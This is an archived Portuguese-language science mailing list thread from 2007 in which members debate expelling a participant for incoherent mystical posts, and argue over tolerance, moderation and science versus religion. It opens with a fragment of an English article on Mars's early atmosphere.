doing experiments with lower-pressure mixes of those gases.

Chyba is cautious: "We don't know," he says, "whether Mars really ever
had that atmosphere." That's because Mars today has carbon dioxide,
but hardly any nitrogen—which is also needed for making amino acids.
Some scientists suspect that nitrogen gas existed on Mars, but was
blasted away by asteroid impacts billions of years ago.

http://www.sciam.com/article.cfm?chanID=sa004&articleID=9952573C-E7F2-99DF-32F2928046329479



SUBJECT: Re: [ciencialist] Ferrari NÃO é Einstein, Renato - Re: PEDIDO DE EXCLUSAO
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 23:37

Olá, Homero! Do modo que vc escreveu abaixo dá uma falsa impressão de que
Ferrari não usava da lógica, nem da razão. Que seus comentários não faziam
sentido... O fato dele usar termos diferentes não significa falta de lógica
ou de razão em seus comentários. Ao declarar que Deus é energia, traduz em
linguagem científica o que ele considera Deus. Faz-se isso para unificar
conceitos entre formações e linguagens diferente, nesse caso, a sua e a
dele. Como vc pode afirmar que Ferrari não é um pensador sistemático, como
Einstein? Percebo que essa desqualificação é pessoal, gratuita e exagerada.
Vez por outra, há aqui na lista polêmicas com menos interesse e sentido, sem
que os egos se sintam ameaçados. Concordar e falar bonito é fácil. Ensinar a
pensar sem receios acadêmicos é mais difícil. Como vc afirmou somos todos
ignorantes em muitos assuntos. Ouvir e refletir sobre o que o outro tem a
nos dizer pode reduzir a ignorância em algum ponto e/ou sedimentar
conhecimentos já adquiridos anteriormente. Sempre considerei que a crítica e
a contestação é o melhor incentivo ao aprendizado. Afinal as pipas alcançam
maior altura e desempenho quando são sustentadas contra o vento.

[]s

José Renato
..........................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 12:36 AM
Subject: [ciencialist] Ferrari NÃO é Einstein, Renato - Re: PEDIDO DE
EXCLUSAO


Olá
Renato: "Se Einstein só aprendesse o que já existia em ciências não
teria pensado as Teorias da Relatividade."

Se Einstein usasse a falta de coerência lógica, razão e sentido em
seus estudos, não teríamos nada, nem relatividade, nem Einstein, e
jamais teríamos ouvido falar nele.

O problema do Ferrari não é pensar o que ninguém pensou, é não pensar
nada de forma coerente, racional, e apenas elencar bobagens e frases
que não fazem sentido, não podem ser validadas, provadas, ou mesmo
compreendidas de forma inteligível.

O que ele escreve, não faz sentido de nenhuma forma conhecida, a não
ser para ele.

E para facilitar e pular etapas, eu mesmo escreverei as respostas
inteligentes que ele teria a essas acusações..;-)

"O que é racional?", "o que é coerente?", " o que é Renato?" etc.

Além de outras "pérolas" de sua autoria, como "deus é energia" ou
"deus é tudo e tudo é deus"..:-)

Fala sério, para ler coisas assim eu iria a páginas de texto
aleatório, mecanismos automáticos de gerar frases sem sentido (mas
mais bem escritas que as do Ferrari).

Um abraço.

Homero


(apaguei o restante)



SUBJECT: Ferrari NÃO é Einstein, Renato - Re: PEDIDO DE EXCLUSAO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 23:59

Olá Renato

Renato: "Do modo que vc escreveu abaixo dá uma falsa impressão de que
Ferrari não usava da lógica, nem da razão. Que seus comentários não
faziam sentido... O fato dele usar termos diferentes não significa
falta de lógica ou de razão em seus comentários. Ao declarar que Deus
é energia, traduz em linguagem científica o que ele considera Deus. "

Ele não usa a lógica, nem faz sentido. Não se pode "escolher" os
termos, e tentar ajusta-los a seu bel prazer. "Deus é energia" não
significa nada, não prova nada, a não ser que esteja tentando alegar
que a estrutura física de deus é energia. Energia tem definição
precisa, e não se aplica a seres imateriais, imaginários ou inexistentes.

Não importa o que "ele" considera deus, não há evidências de que
exista esse deus, (ou qualquer outro) e a definição de "deus" é algo
também preciso. A eletricidade que destrói uma árvore NÃO é deus,
embora seja energia, porque NÃO quis destruir a árvore. A definição de
deus exige intenção, uma mente inteligente, etc.

Ele NÃO usa termos diferentes, ele simplesmente se recusa a usar
termos, semântica como diz, ou ficar preso a significados (o que é a
semântica), e aplica as palavras de forma irracional e sem sentido.

Prove que deus "é energia". Primeiro, prove que deus existe, para ser
de energia. Sem isso, é o mesmo que dizer "Papai Noel é energia". Não
vale nada e nada significa.

Renato: "Como vc pode afirmar que Ferrari não é um pensador
sistemático, como Einstein?"

Esta é fácil: Einstein, como pensador racional e sistemático, definia
seus termos antes sequer de começar suas afirmações, e evitava falar
de seus estudos, antes que provas empíricas e concretas as embasassem
e confirmassem.

Ele JAMAIS fugiria de debates com perguntas como "o que é debate, o
que é fugir?".

Einstein era um gênio, Ferrari é um enganador, poeta, esotérico, sei
lá, tudo menos alguém a se comparar a Einstein (embora a pretensão e
arrogância seja suficiente para isso).

Renato: "Percebo que essa desqualificação é pessoal, gratuita e
exagerada. "

Perceba o que quiser, é direito seu. Mas mesmo minha paciência, em
geral grande, tem limites e foi você que comparou o Ferrari a
Einstein, não eu. E o que seria mais "exagerado" que um cara que pensa
ter "provado" a existência de deus, com frases sem sentido e onde
todos os grandes filósofos falharam?

Tenha dó, Renato.

Renato: "Ouvir e refletir sobre o que o outro tem a nos dizer pode
reduzir a ignorância em algum ponto e/ou sedimentar conhecimentos já
adquiridos anteriormente. Sempre considerei que a crítica e a
contestação é o melhor incentivo ao aprendizado. Afinal as pipas
alcançam maior altura e desempenho quando são sustentadas contra o vento."

Irrelevante. Ainda que eu concordasse com você, no que alega acima, é
totalmente irrelevante, pois não se aplica a este caso do Ferrari. Diz
o ditado, discutir com quem renunciou a lógica, é como alimentar um
homem morto: cansativo e inútil.

O Ferrari não tem nada a ensinar, não diz coisa com coisa, e no máximo
poderia impressionar platéias de templos evangélicos, que não entendem
nada de nada, mas gostam de palavreado bonito e confuso.

E antes que eu me esqueça, "o que é refletir, o que é sedimentar, o
que é altura?", eu sei, eu sei e você não sabe..:-)

Antes de ficar bravo com a piada acima, pense, pimenta nos olhos dos
outros é refresco, não?

Homero




SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 23:59

Olá, Prof. José Carlos!
Vc e a maioria de nós sabemos que não basta informar o conhecimento às
pessoas. É necessário, sim, formar as pessoas em valores éticos-morais no
uso desses conhecimentos, de modo que o mundo seja menos caótico. Esses
valores permeiam os comentários de cada um de nós, sejam eles produzidos por
religiosos ou não. Não há conflito entre Ciências, Filosofia, Teologia como
muitos pensam. São linguagens e métodos diferentes com enfoques diferentes
que se somam a um entendimento melhor do ser humano, de sua existência, sua
razão de ser e sobreviver. O debate livre é a melhor forma de entendimento
para sanar presunções exacerbadas que têm cientistas, filósofos e
pensadores, sejam eles religiosos ou não.

Abraços

José Renato
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 2:28 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
doparadoxo


Grande Homero,

Vou dispensar os elogios iniciais e ir direto ao ponto: a lista tem um
preconceito assumido contra o Ferrari desde há muito. Se com razão ou
sem razão, pouco importa, Inês é morta e preconceito e intolerância
são ruins em qualquer contexto. Ok, é só uma opinião e, afinal, o que
é uma opinião? :)

Mas vamos aos fatos:

O Ferrari não é, nem nunca foi, o único a defender posições
indefensáveis usando tão somente subterfúgios, ora linguísticos, ora
psicodramáticos. Na verdade, não me lembro dele defendendo nem
pregando religiões na lista em nenhum outro momento (embora eu não
tenha acompanhado todas as mais de 62.000 mensagens dela na íntegra).
O José Renato é um católico fanático (Desculpa aí pelo fanático, José
Renato), por exemplo, e já li milhares de mensagens dele defendendo o
não uso da camisinha, o Design Inteligente, etc., etc., sem falar de
todos os subterfúgios linguísticos e psicodramáticos. A diferença
entre um e outro, do ponto de vista da argumentação que pede a
expulsão do Ferrari, é nula ou tende a ser pior para o José Renato,
por exemplo. Diga-se de passagem que não quero nem estou sugerindo que
o José Renato seja expulso da lista.

O Léo usa a lista como "assistente de resposta" para seus consulentes
ou só para ridicularizar alguns deles. E todos rimos e nos fartamos
até que o fel de nosso preconceito escorra farto pelos cantos de
nossas bocas. A lista também não tem essa proposta, mas nesses
momentos somos condescendentes com o princípio de que ridicularizar o
outro é um princípio básico da boa piada.

O Alberto, desde que o conheço, está aqui defendendo sua teoria
(indemonstrável) sobre a bobagem quântica e, na sua visão, a
necessidade de uma nova teoria baseada no "espírito da matéria" de
Newton. Há os pró e os contra a teoria quântica e eu nunca vi um
debate desses terminar em alguma conclusão, ou seja, ambos estão
certos, ou ambos errados, ou qualuqer coisa entre isso e o princípio
da incerteza, mas o que todos querem é só alfinetar posições opostas.

Você e eu fazemos, por vezes, alguma apologia ao ceticismo e ao
materialismo. Eu ainda tenho o agravante de lidar com questões
"educacionais" que não tem absolutamente nenhuma relação com o
propósito da lista. Vivo solicitando opiniões sobre um tal curso de
Física Básica online para alunos medíocres do Ensino Médio público.

De memória, lembro do Brudna, que não por coincidência é o dono da
lista e pouco se manifesta nela, que se mantém mais focado nos
"objetivos" da lista. E só se mantém focado enquanto e prquanto não
debate nada ou muito pouco. ;)

Nem mesmo Takata San consegue se manter focado na ciência e se vive se
metendo em discussões por vezes quase metafísicas sobre seus pontos de
vista.

Silvio Renato faz apologia anti-lula e dezenas de outros poderiam ser
citados da mesma forma. Veja que estou dando ênfase o "Staff", digamos
assim, que é para deixar bem claro que os deuses também pecam e, por
serem deuses, seus pecados são muito mais onipresentes e poucocientes.

Eu não só nada tenho conta todos os citados acima, que considero meus
amigos e os aprecio muito, como acho que suas atuações em nada
denigrem a lista ou a eles próprios, muito pelo contrário, ainda que
estejam também fora do foco da lista. E veja que estou explicitamente
nos incluindo nisso, e incluo também essas mensagens sobre isso que
estmaos trocando agora.

Mas quando você diz "Ninguém assina uma lista como esta sem ter em
mente esse desejo pessoal, conversar, de forma lógica, racional e
coerente, sobre ciência." você dá um tiro no próprio pé, pois Ferrari
assinou a lista e está aqui há muito tempo. Se ele vive viajando ou
não na maionese é outro problema, mas que nada tem a ver com o desejo
dele (que, como desejo e, por definição, pessoal e subjetivo, nunca
será verdadeiramente de nosso conhecimento - e veja que nem vou entrar
no mérito metafísico da teoria do conhecimento).

Eu penso que episódios como esse servem para nos mostrar bem mais
claramente como somos intolerantes e preconceituosos. Incapazes de
lidar com pessoas que não pensam como nós e que nem virão a pensar
assim nunca, simlesmente optamos por "exclui-los". Não vejo nenhum
argumento que possa negar esse fato, pois é fato que alguém pediu a
exclusão do Ferrari justamente por não pensar "cientificamente" e nem
demonstrar "possibilidade de ser convertido a tal".

Evidentemente que "um Ferrari incomoda muita gente", e incomoda mesmo,
mas creio que esse incômodo deva ser absorvido naturalmente pela lista
e não tratado como "pecado", sob pena de termos que rasgar nossos
diplomas e fundarmos uma igrejinha: a igrejinha da C-List, onde você
comunga com o pensamento cético-materialista e aprende os jargãos
cientificos da moda ou... Fogueira!

Eu sou educador, ganho a vida para ensinar tolerância muito mais do
que para ensinar Física. Mantenho minha opinião anterior.

Abraços,
JC




--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Jose Carlos
>
> Em geral eu costumo concordar com você, praticamente em tudo. Mas
> nesse caso acho que farei algumas observações a sua posição..:-)
>
> Toda lista, sob pena de perder seu significado e função, tem limites.
> Nem sempre são do mesmo tipo, ou se referem as mesmas questões, mas é
> evidente que limites existem em qualquer caso. Por exemplo, quase toda
> lista impede "flood", inundações de mensagens, e spams, mensagens de
> propaganda.
>
> Mas o que define um "flood" ou spam? Uma seqüencia de mensagens sem
> sentido pode ser considerada "flood", mesmo que seu autor "pense" que
> as mesmas tem sentido? E um spam de uma religião? Difere em alguma
> medida de um spam de produto no mercado?
>
> No caso específico da Ciencia-list, penso que não é a pretensão de ser
> uma "lista de referencia", mas o desejo de ser um espaço para debater
> um assunto específico, com uma abordagem específica - ciência e
> cientificamente. Ninguém assina uma lista como esta sem ter em mente
> esse desejo pessoal, conversar, de forma lógica, racional e coerente,
> sobre ciência.
>
> Imagine, para efeito de compreensão do problema, que você assine uma
> lista sobre "Automóveis Antigos". E que durante as duas ou três
> semanas em que recebe as primeiras mensagens, estas são apenas
> discussões e bate bocas sobre a forma mais correta de cozinhar um
> leitão. Quanto tempo levaria para você abandonar a lista?
>
> Eu, como você, gosto muito desta lista, tenho aprendido um bocado, e
> mesmo nas discussões em que lados opostos se confrontam, eu apreciei e
> aprendi, pois a discussão sempre se manteve lógica, coerente e racional.
>
> O que não tem acontecido neste caso com o Ferrari (e as vezes com
> outros, por contaminação). Sim, diversos co-listeiros responderam as
> mensagens do Ferrari, tentando, como bem lembrou o Ricardo, trazer a
> conversa para o lado científico, de argumentos embasados, evidências,
> coerência argumentativa, lógica, razão, etc. Sem sucesso.
>
> Neste momento, eu receberia uma mensagem com coisas como "o que é
> sucesso?", ou "o que é argumento?", ou ainda "lógica é deus, e deus é
> lógica, mas não a lógica humana, limitada, mas uma lógica divina,
> energética, transcedental, capaz de abranger a lógica do universo,
e...".
>
> Assim, fica difícil, impossível mesmo, continuar um debate minimamente
> racional.
>
> Na verdade, as mensagens do Ferrari acabam sendo "flood" apenas, uma
> inundação de coisas sem sentido, como as frases que são geradas por
> mecanismos automáticos de frases aleatórias. Aliás, não sei se não é
> desses mecanismos que o Ferrari tira seus textos..:-)
>
> Confesso que até acho divertido discutir, de vez em quando, motos
> perpétuos, e até mesmo posições e alegações religiosas. O pessoal da
> lista sabe como me empolgo, e como costumo até ser prolixo demais, dar
> corda demais, a estes assuntos.
>
> Mas só é produtivo um debate nessas áreas, se for possível manter a
> razão no discurso. Sem isso, é aflitivo e completamente inútil. Mas,
> "o que é inútil?", e "o que é razão", afinal, não?..:-)
>
> Um grande abraço.
>
> Homero
>



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 23:59

Renato:
Aconteceu comigo um caso curioso: Tentei entrar um grupo que é fechado e exclusivo de "feras". justifiquei meu pedido, dizendo que era para aprender. O Coordenador, que me conhece da internet, aceitou meu ingresso e só pediu que não escrevessa nada que não fosse da temática.
E estou lá, lendo adoidado, de bico fechado.
Mesmo na internet as regras devem, como a boa educação, serem seguidas.
sds.,
silvio
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 04, 2007 10:26 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


Silvio, é nessas horas que os homens se diferenciam dos meninos...
[]s
JR
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 03, 2007 11:47 AM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO

Renato:

Eu sou um sos participantes mais censurados do grupo tanto pela irreverência
como pela colocação de textos off-toppic. E sempre que censurado, peço
desculpas, aceito o puxam de orelhas.
Agora, solicitar a saída de um companheiro do quilate do Ferrari, sem
maiores considerações sobre a pessoa e intelectualidade dele, é apenas um
ato não democrático.
Como o grupo é moderado, que os moderadores, que são os proprietários da
lista, que usem de suas prerrogativas.
Pedir, por motivos ideológicos a defenestração de um companheiro é negar o
próprio nome da lista.

sds.,
silvio.
................................................

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 11:46 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO

Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
listeiro responderia ou tentaria contra argumentar. Ele tem uma visão mais
livre da realidade, diferente das mesmices dos livros didáticos impostos
aos
nossos estudantes. Não acredito que a exclusão proposta por vc vá melhorar
a
objetividade dos listeiros que interagem intensamente com ele e - como não
conseguem impor seus argumentos científicos - ficam reclamando que ele não
diz coisa com coisa, que a lista não tem mais ciência e outras desculpas
que
sirvam de motivo para moderá-lo ou excluí-lo da lista. Isso não me parece
ser uma atitude nobre. Nem científica.
[]s
José Renato
.............................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 5:56 PM
Subject: [ciencialist] PEDIDO DE EXCLUSAO

Senhores do C-List,

com base nas papagaiadas dessa mensagem (adicionada às dezenas de
anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
recomendação" para outras listas que estejam dispostas a lerem suas
'profundas manifestações filosóficas'.

Já tenho até receio de falar em Ciência nessa lista!

No aguardo,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 14:00
Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?

Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.

a woman with red dress pra vc
abç. ferrari

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 00:08

Olá Renato

Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
muitos pensam."

Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
e teologia, como mutuamente excludentes e contraditórias. A teologia,
a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
percepção humanas, desejos subjetivos e credulidade, enquanto a
ciência só existe porque deixou de lado todas essas coisas.

Em especial, o pensamento mágico, a crença irracional em seres
imaginários, e a fé na interferência desses seres no universo físico.

Deuses são incompatíveis com leis da física.

Cientistas não rezam para que os elétrons mudem de órbita, nem para
que a lei da gravidade não falhe durante um experimento. Aprendemos
que ela não o fará, pois não há nenhuma intenção ou interferência em
sua ação.

Mesmo valores ético-morais independem de religião ou teologia, e
podem, devem, ser construídos a partir da razão e da vontade humana.
Deixar as religiões para tras é uma vantagem que não se pode
subestimar, em se tratando de civilização e ética humana.

No máximo, deixemos a filosofia lidar com os problemas subjetivos,
impedindo a teologia (qualquer das milhares existentes, e mutuamente
conflitantes) de distorcer e confundir essas questões.

Homero




SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 00:24

Homero,

Vou fazer apenas uma ou duas (mentira, serão cinco) observações e
encerrar unilateralmente essa conversa, por isso não tome a minha
futura não-resposta como outra coisa senão o fato de que já decidi não
continuar essa conversa.

Vamos lá:

1 - "> A ciência, seu método, consiste em um sistema de "filtros",
protocolos
> de segurança, etc, que tem a finalidade fundamental de "separar" dados
> e permitir conclusões. Separar tem forte componente de "intolerância",
> pois não se pode "tolerar" desvios ou falhas ou mesmo condescendência
> dentro desse rigor.
>
> Quando uma alegação é apresentada, é importante que os filtros, alguns
> que poderiam se identificar com "pre-conceito" sejam aplicados. Um
> estudo sobre uma nova droga que afetaria o metabolismo bassal de
> células hepáticas, e que apresentasse sua ação ou parte do mecanismo
> de ação como sendo "efeito de um ectoplasma espiritual", teria
> necessariamente de ser recebido com "pre-conceito", ou alguma forma de
> restrição."

Concordo integralmente, mas observo que essa é uma lista de discussão
do Yahoo em que a porcentagem de cientistas profissionais é
infimamente menor do que a de não cientistas, logo, concluo que a sua
arguemntação não se aplica a lista e, conseqüentemente, não posso
aceitá-la como justificativa.

2 - "> A democracia é uma das mais importantes ferramentas já criadas,
e eu
> penso um dos componentes mais importantes em nossa sociedade. mas
> mesmo ela não é absoluta e existem situações em que ela é prejudicial
> ou perigosa. Sei que parece uma declaração profundamente incorreta e
> anti-democrática (o que é uma verdadeira ofensa hoje em dia), mas,
> pense na seguinte situação: um barco a vela, de 60 pés, 25
> tripulantes, uma tempestade em alto mar, e uma ordem do capitão,
> urgente e fundamental para manter a vida de todos, não é cumprida,
> pois os 24 tripulantes decidem discutir e votar a medida, antes de
> cumpri-la.
>
> Nessa situação hipotética, o risco de aplicar a democracia supera em
> muito o risco de obedecer uma ordem autoritária, de quem tem, em tese,
> mais conhecimento e informação.
>
> A ciência, seu sistema de validação rigoroso, não é democrática. Não é
> "tolerante", se isso significa aceitar o diferente, por seu direito de
> ser diferente e não pela validade do que defende, e certamente aplica
> sua visão de forma que poderia, em última análise, ser tachada de
> "preconceituosa". E nada disso é necessariamente ruim ou errado. Pelo
> contrário."

Mais uma vez concordo plenamente, porém, outra vez ressalto que "nesse
barco aqui não temos UM capitão onisciente" e, se o temos, me aponte.
Temos sim centenas de passageiros numa nau sem rumo (por definição de
lista de discussão) que buscam juntos encontrar caminhos que nem são
necessariamente os mesmos para cada um. Da mesma forma, nada se pode
inferir entre a metodologia científica e a dialética não científica de
uma lista de discussão habitada por não cientistas (espero que
compreenda que aí houve uma falácia sua da "pequeníssima parte" pelo
todo). Logo, novamente não posso aceitar a argumentação dada como
justificativa para uma decisão sobre expulsão ou não de um passageiro.

3 - "> Eu respeito o Ferrari, e não sugeri sua expulsão da lista. Como
disse,
> minha oposição é apenas contra o flood de textos sem sentido. E aqui
> um adendo importante, o que incomoda não é a discordância, mas a
> irracionalidade do texto. Você usou o Jose Renato como exemplo, mas os
> textos dele são absolutamente mais racionais, em termos de capacidade
> de entendimento, que os do Ferrari."

Os fatos me levam também a não aceitar essa argumentação, pois eis que
aqui estamos novamente floodando sobre temas absolutamente
irrelevantes para a ciência e que, de forma alguma, seguem sua
metodologia ou sua forma "hard", como se ousa pretender por vezes.
Contra fatos não há argumentos. Nós dois somos os fatos agora, logo,
respeitosamente sou levado a dispensar seu argumento.

4 - "> Posso discordar, e discordo, de tudo que o Jose Renato escreve, mas
> entendo o que ele escreve. Ele se esforça para apresentar uma
> argumentação coerente (ainda que invalida) para seus pontos, enquanto
> o Ferrari parece apenas copiar e colar textos gerados por mecanismos
> automáticos de texto aleatório..:-)
>
> Se um co-listeiro fizesse apenas isso, enviasse textos gerados
> aleatoriamente em mecanismos automáticos, você não concordaria em
> bloquear essas mensagens como flood? E isso difere de eventuais
> discussões off topic que sempre temos por aqui, não?"

Homero, meu herói grego, veja que sua não-compreensão não tornam
aleatórios os textos do Ferrari. Na verdade eu imagino que ele tenha a
mesma impressão sobre os seus textos. :)

Também tenha em mente que não vejo muita diferença entre você não
entender um texto e você discordar de tudo em um outro texto, exceto
talvez a angústia de não poder rebater o primeiro e a tranquilidade de
poder rebater o segundo facilmente. Mas não é sobre as "suas"
angústias que estamos falando, não é? Assim, mais vez, respeitosamente
recuso seu argumento.

5 - "> A última mensagem do Takata para o Ferrari foi um primor de
ironia bem
> aplicada, e deve resolver o problema..:-) Reproduzo abaixo, por ser
> uma aula de mestre:
>
>
> Ferrari: Takata, assim não vale nada, porque vc está apenas repetindo
> algo que eu disse, sem consciencia do que vc está dizendo.
>
> Takata: O que é "valer"? O que é "consciência"?"

Seria ironia ou uma pergunta sincera? ;)

Se for uma ironia, empatamos com o Ferrari? Ou empataremos caso seja
uma pergunta sincera? Seja lá como for o caso, não vejo por onde se
deva concluir que ironias devam ser mal vistas ou que perguntas
sinceras devam ser evitadas e, portanto, também não vejo a relevância
do argumento como "método de argumentar". Fui irônico? ;)

6 - Por fim, como você pode ver, nós também podemos tecer argumentos e
contra-argumentos dos mais temerários e pouco científicos abordando
temas não-científicos e floodando a lista ad-infinitum (ou
ad-moderatum, conforme a boa vontade do Brudna), mas certamente não
estamos dando nenhum bom exemplo daquilo que "se sugeriu que fosse o
perfil da C-List".

Então, já que essa é minha última palavra sobre esse tema, sugiro
apenas que admita-mos, ainda que escondidinho dos demais, que essa é
uma lista profundamente divertida onde, entremeio algumas poucas
mensagens de caráter científico, passamos excelentes momentos
discutindo a influência das marés no ciclo menstrual das borboletas
pteridófitas da ilha perdida de Scatabrum e, ao fim e ao cabo, fazemos
amigos, aprendemos sobre ciência e sobre humanidade e um dia, quem
sabe, nos faremos sentir mais por nossa ausência do que pela miséria
da nossa presença.

Abraços do seu amigo,
JC


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Jose Carlos
>
> JC: "Vou dispensar os elogios iniciais e ir direto ao ponto: a lista
> tem um preconceito assumido contra o Ferrari desde há muito."
>
> Sigo seu exemplo, e dispenso os elogios iniciais (você sabe a
> admiração que tenho pro você e seus textos..:-). E digo que tem razão,
> sobre tudo, ou quase tudo, preconceito, intolerância e tudo o mais.
>
> Mas, e é nisso que discordamos, um pouco (só um pouquinho), eu penso
> que é justificável e até necessário esses comportamentos, que em
> outras circunstâncias seriam daninhos ou incorretos.
>
> Vou tentar explicar com cuidado, para que não se pense que eu defendo
> a intolerância e o preconceito de modo geral, ok?
>
> A ciência, seu método, consiste em um sistema de "filtros", protocolos
> de segurança, etc, que tem a finalidade fundamental de "separar" dados
> e permitir conclusões. Separar tem forte componente de "intolerância",
> pois não se pode "tolerar" desvios ou falhas ou mesmo condescendência
> dentro desse rigor.
>
> Quando uma alegação é apresentada, é importante que os filtros, alguns
> que poderiam se identificar com "pre-conceito" sejam aplicados. Um
> estudo sobre uma nova droga que afetaria o metabolismo bassal de
> células hepáticas, e que apresentasse sua ação ou parte do mecanismo
> de ação como sendo "efeito de um ectoplasma espiritual", teria
> necessariamente de ser recebido com "pre-conceito", ou alguma forma de
> restrição.
>
> O protocolo para demonstrar a validade deste estudo seria MUITO mais
> rigoroso e muito mais "preconceituoso" que outro estudo sem o
> ectoplasma, não?
>
> É, eu sei, um assunto delicado. Vou tentar outro exemplo, para
> melhorar minha explicação..:-)
>
> A democracia é uma das mais importantes ferramentas já criadas, e eu
> penso um dos componentes mais importantes em nossa sociedade. mas
> mesmo ela não é absoluta e existem situações em que ela é prejudicial
> ou perigosa. Sei que parece uma declaração profundamente incorreta e
> anti-democrática (o que é uma verdadeira ofensa hoje em dia), mas,
> pense na seguinte situação: um barco a vela, de 60 pés, 25
> tripulantes, uma tempestade em alto mar, e uma ordem do capitão,
> urgente e fundamental para manter a vida de todos, não é cumprida,
> pois os 24 tripulantes decidem discutir e votar a medida, antes de
> cumpri-la.
>
> Nessa situação hipotética, o risco de aplicar a democracia supera em
> muito o risco de obedecer uma ordem autoritária, de quem tem, em tese,
> mais conhecimento e informação.
>
> A ciência, seu sistema de validação rigoroso, não é democrática. Não é
> "tolerante", se isso significa aceitar o diferente, por seu direito de
> ser diferente e não pela validade do que defende, e certamente aplica
> sua visão de forma que poderia, em última análise, ser tachada de
> "preconceituosa". E nada disso é necessariamente ruim ou errado. Pelo
> contrário.
>
> Eu respeito o Ferrari, e não sugeri sua expulsão da lista. Como disse,
> minha oposição é apenas contra o flood de textos sem sentido. E aqui
> um adendo importante, o que incomoda não é a discordância, mas a
> irracionalidade do texto. Você usou o Jose Renato como exemplo, mas os
> textos dele são absolutamente mais racionais, em termos de capacidade
> de entendimento, que os do Ferrari.
>
> Posso discordar, e discordo, de tudo que o Jose Renato escreve, mas
> entendo o que ele escreve. Ele se esforça para apresentar uma
> argumentação coerente (ainda que invalida) para seus pontos, enquanto
> o Ferrari parece apenas copiar e colar textos gerados por mecanismos
> automáticos de texto aleatório..:-)
>
> Se um co-listeiro fizesse apenas isso, enviasse textos gerados
> aleatoriamente em mecanismos automáticos, você não concordaria em
> bloquear essas mensagens como flood? E isso difere de eventuais
> discussões off topic que sempre temos por aqui, não?
>
> De toda forma, penso que a sugestão do Manuel é a melhor política, se
> eu não responder a maluquices, não recebo respostas mais malucas
> ainda..:-) Embora a maioria dos co-listeiros seja bem combativa, e
> ache difícil não responder a provocações mais óbvias, acho que seria
> uma solução mais adequada e eficaz (também acho desagradável por
> demais, expulsões e mesmo moderação de mensangens).
>
